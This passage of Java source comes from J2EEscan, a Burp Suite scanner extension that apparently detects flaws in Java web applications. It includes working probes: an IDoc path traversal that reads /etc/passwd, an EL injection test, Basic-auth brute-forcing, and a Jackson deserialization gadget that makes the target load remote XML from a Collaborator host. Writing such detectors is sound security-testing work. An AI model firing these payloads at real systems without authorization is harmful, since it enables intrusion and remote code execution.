" 29 | + "https://issues.apache.org/jira/browse/WICKET-4430"; 30 | 31 | private static final String REMEDY = "Update the remote Apache Wicket vulnerable library"; 32 | 33 | private static final byte[] GREP_STRING = "initializer=".getBytes(); 34 | private static final List PAYLOADS = Arrays.asList( 35 | "wicket/resource/int/wicket.properties,/bla/ HTTP", 36 | "wicket/resources/int/wicket.properties,/bla/ HTTP" 37 | ); 38 | 39 | private PrintWriter stderr; 40 | 41 | @Override 42 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 43 | 44 | IExtensionHelpers helpers = callbacks.getHelpers(); 45 | List issues = new ArrayList<>(); 46 | 47 | stderr = new PrintWriter(callbacks.getStderr(), true); 48 | 49 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse); 50 | URL curURL = reqInfo.getUrl(); 51 | 52 | 53 | if (curURL.getPath().contains("wicket/resource")) { 54 | byte[] rawrequest = baseRequestResponse.getRequest(); 55 | String plainRequest = helpers.bytesToString(rawrequest); 56 | 57 | for (String payload : PAYLOADS) { 58 | 59 | byte[] wicketRequest = helpers.stringToBytes(plainRequest.replaceFirst("wicket\\/resource.*? HTTP", payload)); 60 | 61 | IRequestInfo rawWicketRequestInfo = helpers.analyzeRequest(wicketRequest); 62 | 63 | List headers = rawWicketRequestInfo.getHeaders(); 64 | byte message[] = helpers.buildHttpMessage(headers, Arrays.copyOfRange(wicketRequest, rawWicketRequestInfo.getBodyOffset(), wicketRequest.length)); 65 | IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message); 66 | 67 | // look for matches of our active check grep string in the response body 68 | byte[] httpResponse = resp.getResponse(); 69 | List matches = getMatches(httpResponse, GREP_STRING, helpers); 70 | if (matches.size() > 0) { 71 | 72 | issues.add(new CustomScanIssue( 73 | baseRequestResponse.getHttpService(), 74 | reqInfo.getUrl(), 75 | resp, 76 | TITLE, 77 | DESCRIPTION, 78 | REMEDY, 79 | Risk.High, 80 | Confidence.Certain 81 | )); 82 | 83 | return issues; 84 | } 85 | } 86 | } 87 | 88 | return issues; 89 | 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/EL3Injection.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import static burp.HTTPMatcher.getMatches; 4 | import static burp.HTTPMatcher.isJavaApplicationByURL; 5 | import burp.IBurpExtenderCallbacks; 6 | import burp.IExtensionHelpers; 7 | import burp.IHttpRequestResponse; 8 | import burp.IRequestInfo; 9 | import burp.IScanIssue; 10 | import burp.IScannerInsertionPoint; 11 | import burp.j2ee.Confidence; 12 | import burp.j2ee.CustomScanIssue; 13 | import burp.j2ee.Risk; 14 | import burp.j2ee.issues.IModule; 15 | import java.net.URL; 16 | import java.util.ArrayList; 17 | import java.util.Arrays; 18 | import java.util.List; 19 | 20 | 21 | /** 22 | * 23 | * This module tries to detect common EL3 Injection 24 | * 25 | * Snippet of vulnerable code: 26 | * 27 | * input1 = "System.getProperties()" 28 | * 29 | * <%@page import="javax.el.ELProcessor"%> 30 | * <%@page import="javax.el.ELManager"%> 31 | * … 32 | * <% 33 | * String input1 = request.getParameter("input1"); 34 | * ELProcessor elp = new ELProcessor(); 35 | * Object sys = elp.eval(input1); 36 | * out.println(sys); 37 | * %> 38 | * 39 | * Reference: 40 | * @sectooladdict 41 | * http://sectooladdict.blogspot.co.il/2014/12/el-30-injection-java-is-getting-hacker.html 42 | * 43 | */ 44 | 45 | public class EL3Injection implements IModule { 46 | 47 | private static final String TITLE = "EL 3.0/Lambda Injection"; 48 | private static final String DESCRIPTION = "J2EEscan identified an EL 3.0 (Expression Language) " 49 | + "Injection vulnerability; an expression language makes it possible to easily " 50 | + "access application data stored in JavaBeans components and execute code on the server." 51 | + "

" 52 | + "References:

" 53 | + "http://sectooladdict.blogspot.co.il/2014/12/el-30-injection-java-is-getting-hacker.html
" 54 | + "http://www.mindedsecurity.com/fileshare/ExpressionLanguageInjection.pdf
" 55 | + "https://jcp.org/en/jsr/detail?id=341
"; 56 | 57 | private static final String REMEDY = "Do not use untrusted user input directly in lambda EL3 statements"; 58 | 59 | private static final byte[] GREP_STRING = "java.vendor".getBytes(); 60 | private static final List EL_INJECTION_TESTS = Arrays.asList( 61 | "System.getProperties()".getBytes() 62 | ); 63 | 64 | @Override 65 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 66 | 67 | IExtensionHelpers helpers = callbacks.getHelpers(); 68 | List issues = new ArrayList<>(); 69 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse); 70 | URL curURL = reqInfo.getUrl(); 71 | 72 | 73 | // Skip test for not j2ee applications 74 | if (!isJavaApplicationByURL(curURL)){ 75 | return issues; 76 | } 77 | 78 | 79 | for (byte[] INJ_TEST : EL_INJECTION_TESTS) { 80 | // make a request containing our injection test in the insertion point 81 | byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST); 82 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest( 83 | baseRequestResponse.getHttpService(), checkRequest); 84 | 85 | 86 | // look for matches of our active check grep string 87 | List matches = getMatches(checkRequestResponse.getResponse(), GREP_STRING, helpers); 88 | if (matches.size() > 0) { 89 | 90 | issues.add(new CustomScanIssue( 91 | baseRequestResponse.getHttpService(), 92 | helpers.analyzeRequest(baseRequestResponse).getUrl(), 93 | checkRequestResponse, 94 | TITLE, 95 | DESCRIPTION, 96 | REMEDY, 97 | Risk.High, 98 | Confidence.Tentative 99 | )); 100 | } 101 | 102 | } 103 | 104 | return issues; 105 | } 106 | } 107 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/HTTPProxy.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import static burp.HTTPMatcher.getMatches; 4 | import burp.IBurpExtenderCallbacks; 5 | import burp.IExtensionHelpers; 6 | import burp.IHttpRequestResponse; 7 | import burp.IRequestInfo; 8 | import burp.IScanIssue; 9 | import burp.IScannerInsertionPoint; 10 | import burp.j2ee.Confidence; 11 | import burp.j2ee.CustomScanIssue; 12 | import burp.j2ee.Risk; 13 | import burp.j2ee.annotation.RunOnlyOnce; 14 | import burp.j2ee.issues.IModule; 15 | import java.io.PrintWriter; 16 | import java.net.URL; 17 | import java.util.ArrayList; 18 | import java.util.LinkedHashSet; 19 | import java.util.List; 20 | 21 | /** 22 | * HTTP Open Proxy detection 23 | * 24 | */ 25 | public class HTTPProxy implements IModule { 26 | 27 | private static final String TITLE = "HTTP Open Proxy"; 28 | private static final String DESCRIPTION = "J2EEscan identified a remote HTTP open proxy service.
" 29 | + "It was possible to request via the remote HTTP service the resource http://www.google.com/humans.txt.
" 30 | + "This configuration may allow an attacker to interact potentially with the internal network." 31 | + "

" 32 | + "References:

" 33 | + "http://www.suretecsystems.com/our_docs/proxy-guide-en/index.html
" 34 | + "http://www.web-cache.com/Writings/Internet-Drafts/draft-luotonen-web-proxy-tunneling-01.txt
" 35 | + "https://www.kb.cert.org/vuls/id/150227
"; 36 | 37 | private static final String REMEDY = "Change the current configuration in order to preventi the current behaviour.
"; 38 | private static final byte[] GREP_STRING = "Google is built by a large".getBytes(); 39 | 40 | // List of host and port system already tested 41 | private static LinkedHashSet hs = new LinkedHashSet(); 42 | 43 | private PrintWriter stderr; 44 | 45 | @RunOnlyOnce 46 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 47 | 48 | stderr = new PrintWriter(callbacks.getStderr(), true); 49 | 50 | List issues = new ArrayList<>(); 51 | IExtensionHelpers helpers = callbacks.getHelpers(); 52 | 53 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 54 | 55 | URL url = reqInfo.getUrl(); 56 | String host = url.getHost(); 57 | int port = url.getPort(); 58 | 59 | String system = host.concat(Integer.toString(port)); 60 | 61 | // System not yet tested for this vulnerability 62 | if (!hs.contains(system)) { 63 | hs.add(system); 64 | 65 | // TODO implement GET @www.google.com/humans.txt? HTTP/1.0\r\n\r\n 66 | byte[] rawrequestHTTPConnect = "CONNECT http://www.google.com/humans.txt HTTP/1.0\r\n\r\n".getBytes(); 67 | 68 | // Execute a CONNECT method 69 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest( 70 | baseRequestResponse.getHttpService(), rawrequestHTTPConnect); 71 | 72 | 73 | // Get the response body 74 | byte[] responseBytesHTTPConnect = checkRequestResponse.getResponse(); 75 | 76 | if (responseBytesHTTPConnect != null) { 77 | List matchesHTTPConnect = getMatches(responseBytesHTTPConnect, GREP_STRING, helpers); 78 | if (matchesHTTPConnect.size() > 0) { 79 | 80 | issues.add(new CustomScanIssue( 81 | baseRequestResponse.getHttpService(), 82 | reqInfo.getUrl(), 83 | checkRequestResponse, 84 | TITLE, 85 | DESCRIPTION, 86 | REMEDY, 87 | Risk.High, 88 | Confidence.Certain 89 | )); 90 | } 91 | } 92 | 93 | // Execute a GET method 94 | byte[] rawrequestGETHTTPConnect = "GET http://www.google.com/humans.txt HTTP/1.0\r\n".getBytes(); 95 | IHttpRequestResponse checkRequestResponseGETHTTPConnect = callbacks.makeHttpRequest( 96 | baseRequestResponse.getHttpService(), rawrequestGETHTTPConnect); 97 | 98 | // Get the response body 99 | byte[] responseBytesGETHTTPConnect = checkRequestResponseGETHTTPConnect.getResponse(); 100 | 101 | if (responseBytesGETHTTPConnect != null) { 102 | List matchesGETHTTPConnect = getMatches(responseBytesGETHTTPConnect, GREP_STRING, helpers); 103 | if (matchesGETHTTPConnect.size() > 0) { 104 | 105 | issues.add(new CustomScanIssue( 106 | baseRequestResponse.getHttpService(), 107 | reqInfo.getUrl(), 108 | checkRequestResponse, 109 | TITLE, 110 | DESCRIPTION, 111 | REMEDY, 112 | Risk.High, 113 | Confidence.Certain 114 | )); 115 | } 116 | } 117 | 118 | } 119 | 120 | return issues; 121 | } 122 | } 123 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/HTTPWeakPassword.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import burp.CustomHttpRequestResponse; 4 | import burp.HTTPParser; 5 | import static burp.HTTPParser.getResponseHeaderValue; 6 | import burp.IBurpExtenderCallbacks; 7 | import burp.IExtensionHelpers; 8 | import burp.IHttpRequestResponse; 9 | import burp.IRequestInfo; 10 | import burp.IResponseInfo; 11 | import burp.IScanIssue; 12 | import burp.IScannerInsertionPoint; 13 | import burp.WeakPasswordBruteforcer; 14 | import burp.j2ee.Confidence; 15 | import burp.j2ee.CustomScanIssue; 16 | import burp.j2ee.Risk; 17 | import burp.j2ee.issues.IModule; 18 | import java.io.PrintWriter; 19 | import java.net.URL; 20 | import java.util.ArrayList; 21 | import java.util.LinkedHashSet; 22 | import java.util.List; 23 | 24 | public class HTTPWeakPassword implements IModule{ 25 | 26 | private static final String TITLE = "HTTP Weak Password"; 27 | private static final String DESCRIPTION = "J2EEscan identified a remote resource protected" 28 | + "using HTTP Authentication with a weak password.
"; 29 | 30 | private static final String REMEDY = "Change the weak/default password"; 31 | 32 | // List of host and port system already tested 33 | private LinkedHashSet hs = new LinkedHashSet(); 34 | private PrintWriter stderr; 35 | 36 | 37 | @Override 38 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 39 | 40 | List issues = new ArrayList<>(); 41 | 42 | IExtensionHelpers helpers = callbacks.getHelpers(); 43 | stderr = new PrintWriter(callbacks.getStderr(), true); 44 | 45 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 46 | 47 | byte[] response = baseRequestResponse.getResponse(); 48 | if (response == null) { 49 | return issues; 50 | } 51 | 52 | IResponseInfo respInfo = helpers.analyzeResponse(response); 53 | 54 | URL url = reqInfo.getUrl(); 55 | short responseCode = respInfo.getStatusCode(); 56 | String wwwAuthHeader = getResponseHeaderValue(respInfo, "WWW-Authenticate"); 57 | 58 | if (responseCode == 401 && wwwAuthHeader != null) { 59 | 60 | // Application path not yet tested for this vulnerability 61 | if (!hs.contains(url)) { 62 | 63 | hs.add(url); 64 | 65 | // Test Weak Passwords 66 | CustomHttpRequestResponse httpWeakPasswordResult; 67 | WeakPasswordBruteforcer br = new WeakPasswordBruteforcer(); 68 | httpWeakPasswordResult = br.HTTPBasicBruteforce(callbacks, url); 69 | 70 | // Retrieve the weak credentials 71 | String weakCredential = null; 72 | String weakCredentialDescription = ""; 73 | String bc = null; 74 | try { 75 | 76 | IRequestInfo reqInfoPwd = callbacks.getHelpers().analyzeRequest(baseRequestResponse.getHttpService(), httpWeakPasswordResult.getRequest()); 77 | bc = HTTPParser.getHTTPBasicCredentials(reqInfoPwd); 78 | weakCredential = new String(helpers.base64Decode(bc)); 79 | } catch (Exception ex) { 80 | stderr.println("HTTP Weak Password - Error during Authorization Header parsing " + ex + bc); 81 | } 82 | 83 | if (weakCredential != null) { 84 | weakCredentialDescription += String.format("

The weak credentials are " 85 | + "%s

", weakCredential); 86 | } 87 | 88 | if (httpWeakPasswordResult != null) { 89 | issues.add(new CustomScanIssue( 90 | baseRequestResponse.getHttpService(), 91 | url, 92 | httpWeakPasswordResult, 93 | TITLE, 94 | DESCRIPTION + weakCredentialDescription, 95 | REMEDY, 96 | Risk.High, 97 | Confidence.Certain 98 | )); 99 | 100 | } 101 | 102 | } 103 | 104 | } 105 | 106 | return issues; 107 | } 108 | } 109 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/IDocInjection.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | 4 | import static burp.HTTPMatcher.isJavaApplicationByURL; 5 | import burp.IBurpExtenderCallbacks; 6 | import burp.IExtensionHelpers; 7 | import burp.IHttpRequestResponse; 8 | import burp.IRequestInfo; 9 | import burp.IScanIssue; 10 | import burp.IScannerInsertionPoint; 11 | import burp.j2ee.Confidence; 12 | import burp.j2ee.issues.IModule; 13 | import burp.j2ee.CustomScanIssue; 14 | import burp.j2ee.Risk; 15 | 16 | import java.net.URL; 17 | import java.util.ArrayList; 18 | import java.util.Arrays; 19 | import java.util.List; 20 | import java.util.regex.Matcher; 21 | import java.util.regex.Pattern; 22 | 23 | /** 24 | * 25 | * This module tries to inject custom idoc scripts. 26 | * 27 | * 28 | * 29 | * References: 30 | * http://docs.oracle.com/cd/E14571_01/doc.1111/e10726/toc.htm 31 | * http://unsecurityresearch.com/index.php?option=com_content&view=article&id=46:published-advisories&catid=34:published-advisories&Itemid=53 32 | * http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-3770 33 | * 34 | * 35 | */ 36 | public class IDocInjection implements IModule { 37 | 38 | private static final String TITLE = "IDoc Injection"; 39 | private static final String DESCRIPTION = "The remote application is vulnerable to Oracle IDoc Injection" 40 | + "

" 41 | + "References:

" 42 | + "http://docs.oracle.com/cd/E14571_01/doc.1111/e10726/toc.htm
" 43 | + "http://unsecurityresearch.com/index.php?option=com_content&view=article&id=46:published-advisories&catid=34:published-advisories&Itemid=53
" 44 | + "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-3770
"; 45 | 46 | private static final List XINCLUDE_REGEX = Arrays.asList( 47 | Pattern.compile("root:.*:0:[01]:", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE)); 48 | 49 | private static final List EL_INJECTION_TESTS = Arrays.asList( 50 | "<$fileName=\"../../../../../../../../../../../etc/passwd\"$><$executeService(\"GET_LOGGED_SERVER_OUTPUT\")$><$ServerOutput$>".getBytes()); 51 | 52 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 53 | 54 | IExtensionHelpers helpers = callbacks.getHelpers(); 55 | List issues = new ArrayList<>(); 56 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse); 57 | URL curURL = reqInfo.getUrl(); 58 | 59 | // Skip test for not j2ee applications 60 | if (!isJavaApplicationByURL(curURL)){ 61 | return issues; 62 | } 63 | 64 | for (byte[] INJ_TEST : EL_INJECTION_TESTS) { 65 | // make a request containing our injection test in the insertion point 66 | byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST); 67 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest( 68 | baseRequestResponse.getHttpService(), checkRequest); 69 | 70 | // look for matches of our active check grep string 71 | String response = helpers.bytesToString(checkRequestResponse.getResponse()); 72 | 73 | for (Pattern xincludeMatcher : XINCLUDE_REGEX) { 74 | 75 | Matcher matcher = xincludeMatcher.matcher(response); 76 | 77 | if (matcher.find()) { 78 | 79 | // get the offsets of the payload within the request, for in-UI highlighting 80 | issues.add(new CustomScanIssue( 81 | baseRequestResponse.getHttpService(), 82 | helpers.analyzeRequest(baseRequestResponse).getUrl(), 83 | checkRequestResponse, 84 | TITLE, 85 | DESCRIPTION, 86 | "Install the patch provided by Oracle", 87 | Risk.High, 88 | Confidence.Certain 89 | )); 90 | 91 | return issues; 92 | } 93 | 94 | } 95 | 96 | } 97 | 98 | return issues; 99 | } 100 | } -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/JBossJuddi.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import burp.CustomHttpRequestResponse; 4 | import static burp.HTTPMatcher.getMatches; 5 | import burp.IBurpExtenderCallbacks; 6 | import burp.IExtensionHelpers; 7 | import burp.IHttpRequestResponse; 8 | import burp.IRequestInfo; 9 | import burp.IResponseInfo; 10 | import burp.IScanIssue; 11 | import burp.IScannerInsertionPoint; 12 | import burp.j2ee.Confidence; 13 | import burp.j2ee.CustomScanIssue; 14 | import burp.j2ee.Risk; 15 | import burp.j2ee.annotation.RunOnlyOnce; 16 | import burp.j2ee.issues.IModule; 17 | import java.io.PrintWriter; 18 | import java.net.MalformedURLException; 19 | import java.net.URL; 20 | import java.util.ArrayList; 21 | import java.util.Arrays; 22 | import java.util.LinkedHashSet; 23 | import java.util.List; 24 | 25 | 26 | /** 27 | * 28 | * JBoss WS JUDDI console detection 29 | * 30 | * 31 | * 32 | * 33 | * 34 | */ 35 | public class JBossJuddi implements IModule { 36 | 37 | // List of host and port system already tested 38 | private static LinkedHashSet hs = new LinkedHashSet(); 39 | private static final List JBOSS_WS = Arrays.asList( 40 | "/juddi/" 41 | ); 42 | 43 | private static final String TITLE = "JBoss WS JUDDI"; 44 | private static final String DESCRIPTION = "J2EEscan identified the JBoss Juddi console.
" 45 | + "The jUDDI (Java Universal Description, Discovery and Integration) Registry " 46 | + "is a core component of the JBoss Enterprise SOA Platform. " 47 | + "It is the product's default service registry and comes included as " 48 | + "part of the product. In it are stored the addresses (end-point references) " 49 | + "of all the services connected to the Enterprise Service Bus. " 50 | + "It was implemented in JAXR and conforms to the UDDI specifications.

"; 51 | 52 | private static final String REMEDY = "Restrict access to the service if not needed"; 53 | 54 | private static final byte[] GREP_STRING = ">JBoss JUDDI".getBytes(); 55 | 56 | private PrintWriter stderr; 57 | 58 | @RunOnlyOnce 59 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 60 | 61 | List issues = new ArrayList<>(); 62 | 63 | IExtensionHelpers helpers = callbacks.getHelpers(); 64 | stderr = new PrintWriter(callbacks.getStderr(), true); 65 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 66 | 67 | URL url = reqInfo.getUrl(); 68 | String host = url.getHost(); 69 | int port = url.getPort(); 70 | 71 | String system = host.concat(Integer.toString(port)); 72 | 73 | // System not yet tested for this vulnerability 74 | if (!hs.contains(system)) { 75 | 76 | hs.add(system); 77 | 78 | String protocol = url.getProtocol(); 79 | Boolean isSSL = (protocol.equals("https")); 80 | 81 | for (String JBOSS_WS_PATH : JBOSS_WS) { 82 | 83 | try { 84 | // Test the presence of JBossWS console 85 | URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_WS_PATH); 86 | byte[] jbosswstest = helpers.buildHttpRequest(urlToTest); 87 | 88 | byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(), 89 | url.getPort(), isSSL, jbosswstest); 90 | 91 | IResponseInfo jbosswsInfo = helpers.analyzeResponse(responseBytes); 92 | 93 | if (jbosswsInfo.getStatusCode() == 200) { 94 | 95 | // look for matches of our active check grep string 96 | List matches = getMatches(responseBytes, GREP_STRING, helpers); 97 | if (matches.size() > 0) { 98 | 99 | issues.add(new CustomScanIssue( 100 | baseRequestResponse.getHttpService(), 101 | urlToTest, 102 | new CustomHttpRequestResponse(jbosswstest, responseBytes, baseRequestResponse.getHttpService()), 103 | TITLE, 104 | DESCRIPTION, 105 | REMEDY, 106 | Risk.Low, 107 | Confidence.Certain 108 | )); 109 | return issues; 110 | } 111 | } 112 | } catch (MalformedURLException ex) { 113 | stderr.println("Error creating URL " + ex.getMessage()); 114 | } 115 | 116 | } 117 | 118 | } 119 | 120 | return issues; 121 | } 122 | } 123 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/JBossjBPMAdminConsole.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import burp.CustomHttpRequestResponse; 4 | import static burp.HTTPMatcher.URIMutator; 5 | import static burp.HTTPMatcher.getMatches; 6 | import burp.IBurpExtenderCallbacks; 7 | import burp.IExtensionHelpers; 8 | import burp.IHttpRequestResponse; 9 | import burp.IRequestInfo; 10 | import burp.IResponseInfo; 11 | import burp.IScanIssue; 12 | import burp.IScannerInsertionPoint; 13 | import burp.j2ee.Confidence; 14 | import burp.j2ee.CustomScanIssue; 15 | import burp.j2ee.Risk; 16 | import burp.j2ee.issues.IModule; 17 | import java.io.PrintWriter; 18 | import java.net.MalformedURLException; 19 | import java.net.URL; 20 | import java.util.ArrayList; 21 | import java.util.Arrays; 22 | import java.util.LinkedHashSet; 23 | import java.util.List; 24 | 25 | 26 | /** 27 | * 28 | * Test for JBoss jBPM Admin Console 29 | * 30 | * https://docs.jboss.org/jbpm/v5.1/userguide/ch11.html 31 | * 32 | */ 33 | public class JBossjBPMAdminConsole implements IModule { 34 | 35 | // List of host and port system already tested 36 | private static LinkedHashSet hs = new LinkedHashSet(); 37 | private PrintWriter stderr; 38 | 39 | private static final String TITLE = "JBoss jBPM Admin Console"; 40 | private static final String DESCRIPTION = "J2EEscan identified the jBPM Admin Console " 41 | + "installed on the remote system. The JBoss Business Process Manager (jBPM) " 42 | + "is a workflow management tool that provides the user with control " 43 | + "over business processes and languages. "; 44 | 45 | private static final String REMEDY = "Change default/weak password and/or restrict access to the management console only from trusted hosts/networks"; 46 | 47 | private static final List JBOSS_jBPM_PATHS = Arrays.asList( 48 | "/jbpm-console/app/tasks.jsf" 49 | ); 50 | 51 | private static final List GREP_STRINGS = Arrays.asList( 52 | "JBoss jBPM Administration Console".getBytes() 53 | ); 54 | 55 | @Override 56 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 57 | 58 | List issues = new ArrayList<>(); 59 | 60 | IExtensionHelpers helpers = callbacks.getHelpers(); 61 | stderr = new PrintWriter(callbacks.getStderr(), true); 62 | 63 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 64 | 65 | URL url = reqInfo.getUrl(); 66 | String host = url.getHost(); 67 | int port = url.getPort(); 68 | 69 | String system = host.concat(Integer.toString(port)); 70 | 71 | // System not yet tested for this vulnerability 72 | if (!hs.contains(system)) { 73 | 74 | hs.add(system); 75 | 76 | String protocol = url.getProtocol(); 77 | Boolean isSSL = (protocol.equals("https")); 78 | 79 | List JBOSS_jBPM_PATHS_MUTATED = URIMutator(JBOSS_jBPM_PATHS); 80 | for (String JBOSS_jBPM_PATH : JBOSS_jBPM_PATHS) { 81 | 82 | try { 83 | 84 | URL urlToTest; 85 | urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_jBPM_PATH); 86 | 87 | byte[] jbosstest = helpers.buildHttpRequest(urlToTest); 88 | 89 | byte[] response = callbacks.makeHttpRequest(url.getHost(), 90 | url.getPort(), isSSL, jbosstest); 91 | 92 | IResponseInfo jbossAdminInfo = helpers.analyzeResponse(response); 93 | 94 | if (jbossAdminInfo.getStatusCode() == 200) { 95 | 96 | // look for matches of our active check grep string 97 | for (byte[] GREP_STRING : GREP_STRINGS) { 98 | 99 | List matches = getMatches(response, GREP_STRING, helpers); 100 | if (matches.size() > 0) { 101 | callbacks.addScanIssue(new CustomScanIssue( 102 | baseRequestResponse.getHttpService(), 103 | new URL(protocol, url.getHost(), url.getPort(), JBOSS_jBPM_PATH), 104 | new CustomHttpRequestResponse(jbosstest, response, baseRequestResponse.getHttpService()), 105 | TITLE, 106 | DESCRIPTION, 107 | REMEDY, 108 | Risk.Medium, 109 | Confidence.Certain 110 | )); 111 | } 112 | } 113 | } 114 | } catch (MalformedURLException ex) { 115 | stderr.println("MalformedURLException " + ex.toString()); 116 | } 117 | 118 | } 119 | } 120 | 121 | return issues; 122 | 123 | } 124 | } 125 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/JacksonDataBindCVE20177525.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import static burp.HTTPMatcher.isJavaApplicationByURL; 4 | import burp.HTTPParser; 5 | import burp.IBurpCollaboratorClientContext; 6 | import burp.IBurpCollaboratorInteraction; 7 | import burp.IBurpExtenderCallbacks; 8 | import burp.IExtensionHelpers; 9 | import burp.IHttpRequestResponse; 10 | import burp.IRequestInfo; 11 | import burp.IScanIssue; 12 | import burp.IScannerInsertionPoint; 13 | import burp.j2ee.Confidence; 14 | import burp.j2ee.CustomScanIssue; 15 | import burp.j2ee.Risk; 16 | import burp.j2ee.issues.IModule; 17 | import java.io.PrintWriter; 18 | 19 | import java.net.URL; 20 | import java.util.ArrayList; 21 | import java.util.LinkedHashSet; 22 | import java.util.List; 23 | 24 | /** 25 | * 26 | * Jackson-databind Polymorphic Deserialization 27 | * 28 | * References: 29 | * - https://github.com/vulhub/vulhub/tree/master/jackson/CVE-2017-17485 30 | * 31 | */ 32 | public class JacksonDataBindCVE20177525 implements IModule { 33 | 34 | private static final String TITLE = "Jackson-databind Polymorphic Deserialization - CVE-2017-17485"; 35 | private static final String DESCRIPTION = "J2EEscan identified a remote command execution vulnerability in the remote Jackson-databind component.
" 36 | + "FasterXML jackson-databind through 2.8.10 and 2.9.x through 2.9.3 allows unauthenticated remote code execution
because " 37 | + "of an incomplete fix for the CVE-2017-7525 deserialization flaw.
" 38 | + "This is exploitable by sending maliciously crafted JSON input to the readValue method of the ObjectMapper,
" 39 | + "bypassing a blacklist that is ineffective if the Spring libraries are available in the classpath.
" 40 | + "
" 41 | + "References:

" 42 | + "https://github.com/vulhub/vulhub/tree/master/jackson/CVE-2017-17485
" 43 | + "https://github.com/FasterXML/jackson-databind/commit/60d459cedcf079c6106ae7da2ac562bc32dcabe1
" 44 | + "https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true"; 45 | 46 | private static final String REMEDY = "Update the Jackson-databind component with the last security patches"; 47 | 48 | // List of host and port system already tested 49 | private static LinkedHashSet hs = new LinkedHashSet(); 50 | 51 | private PrintWriter stderr; 52 | 53 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 54 | 55 | 56 | List PAYLOADS = new ArrayList<>(); 57 | PAYLOADS.add("{\"param\":[\"org.springframework.context.support.FileSystemXmlApplicationContext\",\"http://%s/spel.xml\"]}"); 58 | 59 | stderr = new PrintWriter(callbacks.getStderr(), true); 60 | 61 | List issues = new ArrayList<>(); 62 | IExtensionHelpers helpers = callbacks.getHelpers(); 63 | 64 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 65 | List requestHeaders = reqInfo.getHeaders(); 66 | 67 | URL url = reqInfo.getUrl(); 68 | 69 | // Precondition checks 70 | if (!isJavaApplicationByURL(url)) { 71 | return issues; 72 | } 73 | 74 | String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type"); 75 | if (contentTypeHeader != null && !contentTypeHeader.contains("json")) { 76 | return issues; 77 | } 78 | 79 | for (String PAYLOAD : PAYLOADS) { 80 | try { 81 | // Collaborator context 82 | IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext(); 83 | 84 | // New collaborator unique URI generated ( example f2ivf62a9k7w14h8o8cg7x10prvhj6.burpcollaborator.net ) 85 | String currentCollaboratorPayload = collaboratorContext.generatePayload(true); 86 | String payloadJson = String.format(PAYLOAD, currentCollaboratorPayload); 87 | 88 | byte[] jsonFastRcePayload = helpers.buildHttpMessage(requestHeaders, payloadJson.getBytes()); 89 | IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), jsonFastRcePayload); 90 | 91 | // Poll Burp Collaborator for remote interaction 92 | List collaboratorInteractions 93 | = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload); 94 | 95 | if (!collaboratorInteractions.isEmpty()) { 96 | 97 | issues.add(new CustomScanIssue( 98 | baseRequestResponse.getHttpService(), 99 | reqInfo.getUrl(), 100 | resp, 101 | TITLE, 102 | DESCRIPTION, 103 | REMEDY, 104 | Risk.High, 105 | Confidence.Certain 106 | )); 107 | } 108 | } catch (Exception ex) { 109 | stderr.println(ex); 110 | } 111 | 112 | } 113 | 114 